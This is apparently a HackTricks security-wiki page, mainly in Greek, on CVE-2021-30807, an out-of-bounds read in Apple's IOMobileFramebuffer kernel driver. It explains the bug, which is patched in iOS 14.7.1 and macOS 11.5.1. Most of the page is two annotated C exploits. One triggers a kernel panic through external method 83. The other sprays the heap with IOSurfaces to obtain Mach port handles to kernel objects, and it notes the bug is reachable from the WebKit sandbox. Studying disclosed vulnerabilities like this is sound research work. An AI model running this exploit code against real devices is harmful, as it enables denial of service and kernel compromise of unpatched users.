CVE-2021-30807: IOMobileFrameBuffer OOB

Reading time: 10 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Το Σφάλμα

You have a great explanation of the vuln here, but as summary:

  • Η ευάλωτη διαδρομή κώδικα είναι η external method #83 του user client IOMobileFramebuffer / AppleCLCD: IOMobileFramebufferUserClient::s_displayed_fb_surface(...). Αυτή η μέθοδος λαμβάνει μια παράμετρο που ελέγχεται από τον χρήστη, η οποία δεν ελέγχεται με κανέναν τρόπο και προωθείται στην επόμενη συνάρτηση ως scalar0.

  • Αυτή η μέθοδος προωθεί στην IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0), όπου scalar0 (μια τιμή 32-bit ελεγχόμενη από τον χρήστη) χρησιμοποιείται ως δείκτης (index) σε έναν εσωτερικό πίνακα δεικτών χωρίς κανέναν έλεγχο ορίων:

ptr = *(this + 0xA58 + scalar0 * 8); → περνάει στο IOSurfaceRoot::copyPortNameForSurfaceInTask(...) ως IOSurface*.
Αποτέλεσμα: OOB pointer read & type confusion στον πίνακα αυτό. Εάν ο pointer δεν είναι έγκυρος, η deref του kernel προκαλεί panic → DoS.

note

Αυτό διορθώθηκε σε iOS/iPadOS 14.7.1, macOS Big Sur 11.5.1, watchOS 7.6.1

warning

Η αρχική συνάρτηση που καλεί IOMobileFramebufferUserClient::s_displayed_fb_surface(...) προστατεύεται από το entitlement com.apple.private.allow-explicit-graphics-priority. Ωστόσο, η WebKit.WebContent έχει αυτό το entitlement, οπότε μπορεί να χρησιμοποιηθεί για να ενεργοποιήσει το vuln από μια sandboxed διαδικασία.

DoS PoC

Παρακάτω είναι το αρχικό DoS PoC από το άρθρο στο blog με επιπλέον σχόλια:

c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}

Arbitrary Read PoC Explained

  1. Άνοιγμα του σωστού user client
  • get_appleclcd_uc() βρίσκει την υπηρεσία AppleCLCD και ανοίγει user client type 2. AppleCLCD και IOMobileFramebuffer μοιράζονται τον ίδιο external-methods πίνακα· το type 2 εκθέτει selector 83, τη ευπαθή μέθοδο. Αυτό είναι το entry σου στο bug. E_POC/)

Γιατί το 83 έχει σημασία: το decompiled μονοπάτι είναι:

  • IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
    IOMobileFramebufferUserClient::get_displayed_surface(...)
    IOMobileFramebufferLegacy::get_displayed_surface(...)
    Μέσα σε αυτή την τελευταία κλήση, ο κώδικας χρησιμοποιεί το 32-bit scalar σου ως δείκτη πίνακα χωρίς έλεγχο ορίων, παίρνει έναν pointer από this + 0xA58 + index*8, και τον περνάει ως IOSurface* στο IOSurfaceRoot::copyPortNameForSurfaceInTask(...). Αυτό είναι το OOB + type confusion.
  1. The heap spray (why IOSurface shows up here)
  • do_spray() χρησιμοποιεί IOSurfaceRootUserClient για να δημιουργήσει πολλά IOSurfaces και να spray small values (s_set_value style). Αυτό γεμίζει τα γειτονικά kernel heaps με pointers σε έγκυρα IOSurface objects.

  • Στόχος: όταν ο selector 83 διαβάσει πέρα από τον νόμιμο πίνακα, η OOB θέση πιθανότατα θα περιέχει pointer σε ένα από τα (πραγματικά) IOSurfaces σου---έτσι η μεταγενέστερη dereference δεν κρασάρει και επιτυγχάνει. IOSurface είναι ένα κλασικό, καλά τεκμηριωμένο kernel spray primitive, και η ανάρτηση του Saar αναφέρει ρητά τις μεθόδους create / set_value / lookup που χρησιμοποιούνται σε αυτή τη ροή εκμετάλλευσης.

  1. Το κόλπο "offset/8" (τι είναι πραγματικά αυτό το index)
  • Στο trigger_oob(offset), ορίζεις scalars[0] = offset / 8.

  • Γιατί διαίρεση με 8; Ο kernel κάνει base + index*8 για να υπολογίσει ποια pointer-sized slot θα διαβάσει. Επιλέγεις το "slot number N", όχι ένα byte offset. Οκτώ bytes ανά slot στο 64-bit.

  • Η υπολογισμένη διεύθυνση είναι this + 0xA58 + index*8. Το PoC χρησιμοποιεί μια μεγάλη σταθερά (0x1200000 + 0x1048) απλά για να μεταβεί πολύ έξω από τα όρια σε μια περιοχή που προσπάθησες να γεμίσεις πυκνά με pointers IOSurface. Αν το spray "νικήσει", η θέση που χτυπάς είναι ένα έγκυρο IOSurface*.

  1. Τι επιστρέφει ο selector 83 (αυτό είναι το λεπτό μέρος)
  • Η κλήση είναι:

IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

  • Εσωτερικά, μετά το OOB pointer fetch, ο driver καλεί
    IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*).

  • Αποτέλεσμα: output_scalars[0] είναι ένα Mach port name (u32 handle) στο task σου για οποιοδήποτε object pointer έδωσες μέσω OOB. Δεν είναι ένα raw kernel address leak; είναι ένα userspace handle (send right). Αυτή η ακριβής συμπεριφορά (copying a port name) φαίνεται στην decompilation του Saar.

Γιατί είναι χρήσιμο: με ένα port name προς το (υποτιθέμενο) IOSurface, μπορείς τώρα να χρησιμοποιήσεις μεθόδους του IOSurfaceRoot όπως:

  • s_lookup_surface_from_port (method 34) → να μετατρέψεις το port σε surface ID που μπορείς να χειριστείς μέσω άλλων IOSurface κλήσεων, και

  • s_create_port_from_surface (method 35) αν χρειάζεσαι το αντίστροφο.
    Ο Saar αναφέρει ρητά αυτές τις μεθόδους ως το επόμενο βήμα. Το PoC αποδεικνύει ότι μπορείς να "παράγεις" ένα νόμιμο IOSurface handle από μια OOB θέση. Saaramar

This PoC was taken from here and added some comments to explain the steps:

c
#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks